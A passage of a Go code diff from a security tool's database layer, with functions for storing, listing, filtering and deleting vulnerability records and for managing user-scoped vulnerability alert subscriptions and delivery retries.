vuln.Preconditions, vuln.ReproSteps, vuln.Evidence, vuln.Impact, vuln.Recommendation, vuln.RetestNotes,
|
||||||
|
vuln.CreatedAt, vuln.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("创建漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
db.refreshAssetRiskCacheForConversationsBestEffort(vuln.ConversationID)
|
||||||
|
return vuln, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetVulnerability 获取漏洞
|
||||||
|
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||||
|
var vuln Vulnerability
|
||||||
|
query := `
|
||||||
|
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
|
||||||
|
conversation_tag, task_tag, vulnerability_type, target,
|
||||||
|
COALESCE(preconditions,''), COALESCE(reproduction_steps,''), COALESCE(evidence,''),
|
||||||
|
impact, recommendation, COALESCE(retest_notes,''),
|
||||||
|
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||||
|
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||||
|
created_at, updated_at
|
||||||
|
FROM vulnerabilities
|
||||||
|
WHERE id = ?
|
||||||
|
`
|
||||||
|
|
||||||
|
err := db.QueryRow(query, id).Scan(
|
||||||
|
&vuln.ID, &vuln.ConversationID, &vuln.ProjectID, &vuln.Title, &vuln.Description,
|
||||||
|
&vuln.Severity, &vuln.Status, &vuln.ConversationTag, &vuln.TaskTag, &vuln.Type, &vuln.Target,
|
||||||
|
&vuln.Preconditions, &vuln.ReproSteps, &vuln.Evidence, &vuln.Impact, &vuln.Recommendation, &vuln.RetestNotes,
|
||||||
|
&vuln.TaskID, &vuln.TaskQueueID,
|
||||||
|
&vuln.CreatedAt, &vuln.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("漏洞不存在")
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("获取漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &vuln, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListVulnerabilities 列出漏洞
|
||||||
|
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
||||||
|
return db.ListVulnerabilitiesForAccess(limit, offset, filter, RBACListAccess{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListVulnerabilitiesForAccess(limit, offset int, filter VulnerabilityListFilter, access RBACListAccess) ([]*Vulnerability, error) {
|
||||||
|
query := `
|
||||||
|
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||||
|
vulnerability_type, target,
|
||||||
|
COALESCE(preconditions,''), COALESCE(reproduction_steps,''), COALESCE(evidence,''),
|
||||||
|
impact, recommendation, COALESCE(retest_notes,''),
|
||||||
|
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||||
|
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||||
|
created_at, updated_at
|
||||||
|
FROM vulnerabilities
|
||||||
|
WHERE 1=1
|
||||||
|
`
|
||||||
|
args := []interface{}{}
|
||||||
|
query, args = filter.appendWhere(query, args)
|
||||||
|
query, args = appendVulnerabilityAccessFilter(query, args, access)
|
||||||
|
|
||||||
|
query += " ORDER BY created_at DESC LIMIT ? OFFSET ?"
|
||||||
|
args = append(args, limit, offset)
|
||||||
|
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询漏洞列表失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var vulnerabilities []*Vulnerability
|
||||||
|
for rows.Next() {
|
||||||
|
var vuln Vulnerability
|
||||||
|
err := rows.Scan(
|
||||||
|
&vuln.ID, &vuln.ConversationID, &vuln.ProjectID, &vuln.Title, &vuln.Description,
|
||||||
|
&vuln.Severity, &vuln.Status, &vuln.ConversationTag, &vuln.TaskTag, &vuln.Type, &vuln.Target,
|
||||||
|
&vuln.Preconditions, &vuln.ReproSteps, &vuln.Evidence, &vuln.Impact, &vuln.Recommendation, &vuln.RetestNotes,
|
||||||
|
&vuln.TaskID, &vuln.TaskQueueID,
|
||||||
|
&vuln.CreatedAt, &vuln.UpdatedAt,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("扫描漏洞记录失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
vulnerabilities = append(vulnerabilities, &vuln)
|
||||||
|
}
|
||||||
|
|
||||||
|
return vulnerabilities, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CountVulnerabilities 统计漏洞总数(支持筛选条件)
|
||||||
|
func (db *DB) CountVulnerabilities(filter VulnerabilityListFilter) (int, error) {
|
||||||
|
return db.CountVulnerabilitiesForAccess(filter, RBACListAccess{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CountVulnerabilitiesForAccess(filter VulnerabilityListFilter, access RBACListAccess) (int, error) {
|
||||||
|
query := "SELECT COUNT(*) FROM vulnerabilities WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
query, args = filter.appendWhere(query, args)
|
||||||
|
query, args = appendVulnerabilityAccessFilter(query, args, access)
|
||||||
|
|
||||||
|
var count int
|
||||||
|
err := db.QueryRow(query, args...).Scan(&count)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("统计漏洞总数失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateVulnerability 更新漏洞
|
||||||
|
func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
||||||
|
vuln.UpdatedAt = time.Now()
|
||||||
|
var oldConversationID string
|
||||||
|
_ = db.QueryRow(`SELECT COALESCE(conversation_id,'') FROM vulnerabilities WHERE id = ?`, id).Scan(&oldConversationID)
|
||||||
|
|
||||||
|
query := `
|
||||||
|
UPDATE vulnerabilities
|
||||||
|
SET project_id = ?, conversation_tag = ?, task_tag = ?, title = ?, description = ?, severity = ?, status = ?,
|
||||||
|
vulnerability_type = ?, target = ?, preconditions = ?, reproduction_steps = ?, evidence = ?, impact = ?,
|
||||||
|
recommendation = ?, retest_notes = ?, updated_at = ?
|
||||||
|
WHERE id = ?
|
||||||
|
`
|
||||||
|
|
||||||
|
_, err := db.Exec(
|
||||||
|
query,
|
||||||
|
nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description, vuln.Severity, vuln.Status,
|
||||||
|
vuln.Type, vuln.Target, vuln.Preconditions, vuln.ReproSteps, vuln.Evidence, vuln.Impact,
|
||||||
|
vuln.Recommendation, vuln.RetestNotes, vuln.UpdatedAt, id,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
db.refreshAssetRiskCacheForConversationsBestEffort(oldConversationID, vuln.ConversationID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteVulnerabilitiesByFilter 按筛选条件批量删除漏洞,返回实际删除条数
|
||||||
|
func (db *DB) DeleteVulnerabilitiesByFilter(filter VulnerabilityListFilter) (int64, error) {
|
||||||
|
return db.DeleteVulnerabilitiesByFilterForAccess(filter, RBACListAccess{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) DeleteVulnerabilitiesByFilterForAccess(filter VulnerabilityListFilter, access RBACListAccess) (int64, error) {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("开启事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
where := "WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
where, args = filter.appendWhere(where, args)
|
||||||
|
where, args = appendVulnerabilityAccessFilter(where, args, access)
|
||||||
|
affectedConversations, err := collectVulnerabilityConversationIDs(tx, where, args)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
|
||||||
|
clearQuery := `UPDATE project_facts SET related_vulnerability_id = NULL
|
||||||
|
WHERE related_vulnerability_id IN (SELECT id FROM vulnerabilities ` + where + `)`
|
||||||
|
if _, err := tx.Exec(clearQuery, args...); err != nil {
|
||||||
|
return 0, fmt.Errorf("清理事实漏洞关联失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
deleteQuery := `DELETE FROM vulnerabilities ` + where
|
||||||
|
result, err := tx.Exec(deleteQuery, args...)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("批量删除漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
deleted, err := result.RowsAffected()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("获取删除条数失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := tx.Commit(); err != nil {
|
||||||
|
return 0, fmt.Errorf("提交事务失败: %w", err)
|
||||||
|
}
|
||||||
|
db.refreshAssetRiskCacheForConversationsBestEffort(affectedConversations...)
|
||||||
|
return deleted, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteVulnerability 删除漏洞
|
||||||
|
func (db *DB) DeleteVulnerability(id string) error {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开启事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
var conversationID string
|
||||||
|
_ = tx.QueryRow(`SELECT COALESCE(conversation_id,'') FROM vulnerabilities WHERE id = ?`, id).Scan(&conversationID)
|
||||||
|
|
||||||
|
// 删除漏洞前先解除项目事实中的关联,避免前端继续显示已删除漏洞的短 ID。
|
||||||
|
if _, err := tx.Exec("UPDATE project_facts SET related_vulnerability_id = NULL WHERE related_vulnerability_id = ?", id); err != nil {
|
||||||
|
return fmt.Errorf("清理事实漏洞关联失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec("DELETE FROM vulnerabilities WHERE id = ?", id); err != nil {
|
||||||
|
return fmt.Errorf("删除漏洞失败: %w", err)
|
||||||
|
}
|
||||||
|
if err := tx.Commit(); err != nil {
|
||||||
|
return fmt.Errorf("提交事务失败: %w", err)
|
||||||
|
}
|
||||||
|
db.refreshAssetRiskCacheForConversationsBestEffort(conversationID)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func collectVulnerabilityConversationIDs(tx *sql.Tx, where string, args []interface{}) ([]string, error) {
|
||||||
|
rows, err := tx.Query(`SELECT DISTINCT COALESCE(conversation_id,'') FROM vulnerabilities `+where, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询受影响漏洞会话失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
ids := []string{}
|
||||||
|
for rows.Next() {
|
||||||
|
var id string
|
||||||
|
if err := rows.Scan(&id); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(id) != "" {
|
||||||
|
ids = append(ids, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ids, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetVulnerabilityStats 获取漏洞统计(筛选条件与 ListVulnerabilities / CountVulnerabilities 一致)
|
||||||
|
func (db *DB) GetVulnerabilityStats(filter VulnerabilityListFilter) (map[string]interface{}, error) {
|
||||||
|
return db.GetVulnerabilityStatsForAccess(filter, RBACListAccess{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetVulnerabilityStatsForAccess(filter VulnerabilityListFilter, access RBACListAccess) (map[string]interface{}, error) {
|
||||||
|
stats := make(map[string]interface{})
|
||||||
|
|
||||||
|
where := "WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
where, args = filter.appendWhere(where, args)
|
||||||
|
where, args = appendVulnerabilityAccessFilter(where, args, access)
|
||||||
|
|
||||||
|
// 总漏洞数
|
||||||
|
var totalCount int
|
||||||
|
query := "SELECT COUNT(*) FROM vulnerabilities " + where
|
||||||
|
err := db.QueryRow(query, args...).Scan(&totalCount)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("获取总漏洞数失败: %w", err)
|
||||||
|
}
|
||||||
|
stats["total"] = totalCount
|
||||||
|
|
||||||
|
// 按严重程度统计
|
||||||
|
severityQuery := "SELECT severity, COUNT(*) FROM vulnerabilities " + where + " GROUP BY severity"
|
||||||
|
|
||||||
|
rows, err := db.Query(severityQuery, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("获取严重程度统计失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
severityStats := make(map[string]int)
|
||||||
|
for rows.Next() {
|
||||||
|
var severity string
|
||||||
|
var count int
|
||||||
|
if err := rows.Scan(&severity, &count); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
severityStats[severity] = count
|
||||||
|
}
|
||||||
|
stats["by_severity"] = severityStats
|
||||||
|
|
||||||
|
// 按状态统计
|
||||||
|
statusQuery := "SELECT status, COUNT(*) FROM vulnerabilities " + where + " GROUP BY status"
|
||||||
|
|
||||||
|
rows, err = db.Query(statusQuery, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("获取状态统计失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
statusStats := make(map[string]int)
|
||||||
|
for rows.Next() {
|
||||||
|
var status string
|
||||||
|
var count int
|
||||||
|
if err := rows.Scan(&status, &count); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
statusStats[status] = count
|
||||||
|
}
|
||||||
|
stats["by_status"] = statusStats
|
||||||
|
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetVulnerabilityFilterOptions 获取漏洞筛选建议项
|
||||||
|
func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
||||||
|
return db.GetVulnerabilityFilterOptionsForAccess(RBACListAccess{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetVulnerabilityFilterOptionsForAccess(access RBACListAccess) (map[string][]string, error) {
|
||||||
|
collect := func(query string, args ...interface{}) ([]string, error) {
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
items := make([]string, 0)
|
||||||
|
for rows.Next() {
|
||||||
|
var val string
|
||||||
|
if err := rows.Scan(&val); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if val == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, val)
|
||||||
|
}
|
||||||
|
return items, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
where := "WHERE 1=1"
|
||||||
|
accessArgs := []interface{}{}
|
||||||
|
where, accessArgs = appendVulnerabilityAccessFilter(where, accessArgs, access)
|
||||||
|
|
||||||
|
vulnIDs, err := collect(`SELECT DISTINCT id FROM vulnerabilities `+where+` ORDER BY created_at DESC LIMIT 500`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
||||||
|
}
|
||||||
|
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities `+where+` AND conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
||||||
|
}
|
||||||
|
taskIDs, err := collect(`SELECT DISTINCT bt.id FROM batch_tasks bt JOIN vulnerabilities ON bt.conversation_id = vulnerabilities.conversation_id `+where+` AND bt.id <> '' ORDER BY bt.rowid DESC LIMIT 500`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询任务ID建议失败: %w", err)
|
||||||
|
}
|
||||||
|
queueIDs, err := collect(`SELECT DISTINCT bt.queue_id FROM batch_tasks bt JOIN vulnerabilities ON bt.conversation_id = vulnerabilities.conversation_id `+where+` AND bt.queue_id <> '' ORDER BY bt.rowid DESC LIMIT 500`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询队列ID建议失败: %w", err)
|
||||||
|
}
|
||||||
|
conversationTags, err := collect(`SELECT DISTINCT conversation_tag FROM vulnerabilities `+where+` AND conversation_tag IS NOT NULL AND conversation_tag <> '' ORDER BY conversation_tag LIMIT 500`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询对话标签建议失败: %w", err)
|
||||||
|
}
|
||||||
|
taskTags, err := collect(`SELECT DISTINCT task_tag FROM vulnerabilities `+where+` AND task_tag IS NOT NULL AND task_tag <> '' ORDER BY task_tag LIMIT 500`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询任务标签建议失败: %w", err)
|
||||||
|
}
|
||||||
|
projectIDs, err := collect(`SELECT DISTINCT project_id FROM vulnerabilities `+where+` AND project_id IS NOT NULL AND project_id <> '' ORDER BY created_at DESC LIMIT 200`, accessArgs...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询项目ID建议失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return map[string][]string{
|
||||||
|
"vulnerability_ids": vulnIDs,
|
||||||
|
"conversation_ids": conversationIDs,
|
||||||
|
"project_ids": projectIDs,
|
||||||
|
"task_ids": taskIDs,
|
||||||
|
"queue_ids": queueIDs,
|
||||||
|
"conversation_tags": conversationTags,
|
||||||
|
"task_tags": taskTags,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// VulnerabilityAlertSubscription is the single source of truth shared by Web
|
||||||
|
// settings and robot commands. Alerts are opt-in and user scoped.
|
||||||
|
type VulnerabilityAlertSubscription struct {
|
||||||
|
UserID string `json:"user_id"`
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
MinSeverity string `json:"min_severity"`
|
||||||
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type VulnerabilityAlertRecipient struct {
|
||||||
|
UserID string
|
||||||
|
Platform string
|
||||||
|
ExternalUserID string
|
||||||
|
}
|
||||||
|
|
||||||
|
type VulnerabilityAlertDelivery struct {
|
||||||
|
ID int64
|
||||||
|
Vulnerability *Vulnerability
|
||||||
|
UserID string
|
||||||
|
Platform string
|
||||||
|
ExternalUserID string
|
||||||
|
Attempts int
|
||||||
|
}
|
||||||
|
|
||||||
|
var vulnerabilitySeverityRank = map[string]int{
|
||||||
|
"info": 0, "low": 1, "medium": 2, "high": 3, "critical": 4,
|
||||||
|
}
|
||||||
|
|
||||||
|
func NormalizeVulnerabilityAlertSeverity(value string) (string, error) {
|
||||||
|
value = strings.ToLower(strings.TrimSpace(value))
|
||||||
|
if value == "" {
|
||||||
|
value = "high"
|
||||||
|
}
|
||||||
|
if _, ok := vulnerabilitySeverityRank[value]; !ok {
|
||||||
|
return "", fmt.Errorf("invalid minimum severity %q", value)
|
||||||
|
}
|
||||||
|
return value, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetVulnerabilityAlertSubscription(userID string) (*VulnerabilityAlertSubscription, error) {
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
var sub VulnerabilityAlertSubscription
|
||||||
|
var enabled int
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
err := db.QueryRow(`SELECT user_id, enabled, min_severity, created_at, updated_at
|
||||||
|
FROM vulnerability_alert_subscriptions WHERE user_id = ?`, userID).
|
||||||
|
Scan(&sub.UserID, &enabled, &sub.MinSeverity, &createdAt, &updatedAt)
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
now := time.Now()
|
||||||
|
return &VulnerabilityAlertSubscription{UserID: userID, MinSeverity: "high", CreatedAt: now, UpdatedAt: now}, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
sub.Enabled = enabled != 0
|
||||||
|
sub.CreatedAt = parseDBTime(createdAt)
|
||||||
|
sub.UpdatedAt = parseDBTime(updatedAt)
|
||||||
|
return &sub, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) UpsertVulnerabilityAlertSubscription(userID string, enabled bool, minSeverity string) (*VulnerabilityAlertSubscription, error) {
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
if userID == "" {
|
||||||
|
return nil, fmt.Errorf("user id is required")
|
||||||
|
}
|
||||||
|
severity, err := NormalizeVulnerabilityAlertSeverity(minSeverity)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
now := time.Now()
|
||||||
|
_, err = db.Exec(`INSERT INTO vulnerability_alert_subscriptions
|
||||||
|
(user_id, enabled, min_severity, created_at, updated_at) VALUES (?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(user_id) DO UPDATE SET enabled = excluded.enabled,
|
||||||
|
min_severity = excluded.min_severity, updated_at = excluded.updated_at`,
|
||||||
|
userID, boolToInt(enabled), severity, now, now)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return db.GetVulnerabilityAlertSubscription(userID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListVulnerabilityAlertRecipients applies the same RBAC ownership/assignment
|
||||||
|
// boundaries as the vulnerability list, then expands only enabled robot bindings.
|
||||||
|
func (db *DB) ListVulnerabilityAlertRecipients(vuln *Vulnerability) ([]VulnerabilityAlertRecipient, error) {
|
||||||
|
if vuln == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
rank, ok := vulnerabilitySeverityRank[strings.ToLower(strings.TrimSpace(vuln.Severity))]
|
||||||
|
if !ok {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
rows, err := db.Query(`
|
||||||
|
SELECT DISTINCT s.user_id, b.platform, b.external_user_id, s.min_severity
|
||||||
|
FROM vulnerability_alert_subscriptions s
|
||||||
|
JOIN rbac_users u ON u.id = s.user_id AND u.enabled = 1
|
||||||
|
JOIN robot_user_bindings b ON b.rbac_user_id = s.user_id AND b.enabled = 1
|
||||||
|
WHERE s.enabled = 1 AND (
|
||||||
|
EXISTS (SELECT 1 FROM vulnerabilities v WHERE v.id = ? AND v.owner_user_id = s.user_id)
|
||||||
|
OR EXISTS (SELECT 1 FROM rbac_resource_assignments ra WHERE ra.user_id = s.user_id AND ra.resource_type = 'vulnerability' AND ra.resource_id = ?)
|
||||||
|
OR (? <> '' AND (EXISTS (SELECT 1 FROM projects p WHERE p.id = ? AND p.owner_user_id = s.user_id)
|
||||||
|
OR EXISTS (SELECT 1 FROM rbac_resource_assignments pra WHERE pra.user_id = s.user_id AND pra.resource_type = 'project' AND pra.resource_id = ?)))
|
||||||
|
OR (? <> '' AND (EXISTS (SELECT 1 FROM conversations c WHERE c.id = ? AND c.owner_user_id = s.user_id)
|
||||||
|
OR EXISTS (SELECT 1 FROM rbac_resource_assignments cra WHERE cra.user_id = s.user_id AND cra.resource_type = 'conversation' AND cra.resource_id = ?)))
|
||||||
|
)`, vuln.ID, vuln.ID, vuln.ProjectID, vuln.ProjectID, vuln.ProjectID,
|
||||||
|
vuln.ConversationID, vuln.ConversationID, vuln.ConversationID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
out := make([]VulnerabilityAlertRecipient, 0)
|
||||||
|
for rows.Next() {
|
||||||
|
var recipient VulnerabilityAlertRecipient
|
||||||
|
var minimum string
|
||||||
|
if err := rows.Scan(&recipient.UserID, &recipient.Platform, &recipient.ExternalUserID, &minimum); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if rank >= vulnerabilitySeverityRank[minimum] {
|
||||||
|
out = append(out, recipient)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) SetVulnerabilityCreatedHook(hook func(*Vulnerability)) {
|
||||||
|
db.vulnerabilityCreatedHook = hook
|
||||||
|
}
|
||||||
|
|
||||||
|
// NotifyVulnerabilityCreated must be called after resource ownership has been
|
||||||
|
// committed. Delivery runs asynchronously and never delays the write path.
|
||||||
|
func (db *DB) NotifyVulnerabilityCreated(vulnerability *Vulnerability) {
|
||||||
|
if db == nil || vulnerability == nil || db.vulnerabilityCreatedHook == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
created := *vulnerability
|
||||||
|
go db.vulnerabilityCreatedHook(&created)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) EnqueueVulnerabilityAlertDeliveries(vulnerabilityID string, recipients []VulnerabilityAlertRecipient) error {
|
||||||
|
now := time.Now()
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
for _, r := range recipients {
|
||||||
|
if _, err := tx.Exec(`INSERT INTO vulnerability_alert_deliveries
|
||||||
|
(vulnerability_id, user_id, platform, external_user_id, status, attempts, next_attempt_at, created_at, updated_at)
|
||||||
|
VALUES (?, ?, ?, ?, 'pending', 0, ?, ?, ?)
|
||||||
|
ON CONFLICT(vulnerability_id, platform, external_user_id) DO NOTHING`,
|
||||||
|
vulnerabilityID, r.UserID, r.Platform, r.ExternalUserID, now, now, now); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListDueVulnerabilityAlertDeliveries(limit int) ([]VulnerabilityAlertDelivery, error) {
|
||||||
|
if limit <= 0 || limit > 100 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
rows, err := db.Query(`SELECT d.id, d.user_id, d.platform, d.external_user_id, d.attempts,
|
||||||
|
v.id, COALESCE(v.conversation_id,''), COALESCE(v.project_id,''), v.title, COALESCE(v.description,''),
|
||||||
|
v.severity, v.status, COALESCE(v.vulnerability_type,''), COALESCE(v.target,''),
|
||||||
|
COALESCE(v.impact,''), COALESCE(v.recommendation,''), v.created_at, v.updated_at
|
||||||
|
FROM vulnerability_alert_deliveries d JOIN vulnerabilities v ON v.id = d.vulnerability_id
|
||||||
|
WHERE d.status IN ('pending','retry') AND d.next_attempt_at <= ?
|
||||||
|
ORDER BY d.next_attempt_at, d.id LIMIT ?`, time.Now(), limit)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []VulnerabilityAlertDelivery
|
||||||
|
for rows.Next() {
|
||||||
|
var d VulnerabilityAlertDelivery
|
||||||
|
v := &Vulnerability{}
|
||||||
|
if err := rows.Scan(&d.ID, &d.UserID, &d.Platform, &d.ExternalUserID, &d.Attempts,
|
||||||
|
&v.ID, &v.ConversationID, &v.ProjectID, &v.Title, &v.Description, &v.Severity, &v.Status,
|
||||||
|
&v.Type, &v.Target, &v.Impact, &v.Recommendation, &v.CreatedAt, &v.UpdatedAt); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
d.Vulnerability = v
|
||||||
|
out = append(out, d)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) MarkVulnerabilityAlertDeliverySent(id int64) error {
|
||||||
|
_, err := db.Exec(`UPDATE vulnerability_alert_deliveries SET status='sent', attempts=attempts+1, last_error='', updated_at=? WHERE id=?`, time.Now(), id)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) MarkVulnerabilityAlertDeliveryFailed(id int64, attempts int, sendErr error) error {
|
||||||
|
status := "retry"
|
||||||
|
if attempts >= 5 {
|
||||||
|
status = "failed"
|
||||||
|
}
|
||||||
|
delay := time.Minute * time.Duration(1<<min(attempts, 6))
|
||||||
|
message := ""
|
||||||
|
if sendErr != nil {
|
||||||
|
message = sendErr.Error()
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`UPDATE vulnerability_alert_deliveries SET status=?, attempts=?, next_attempt_at=?, last_error=?, updated_at=? WHERE id=?`,
|
||||||
|
status, attempts, time.Now().Add(delay), message, time.Now(), id)
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
package database_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
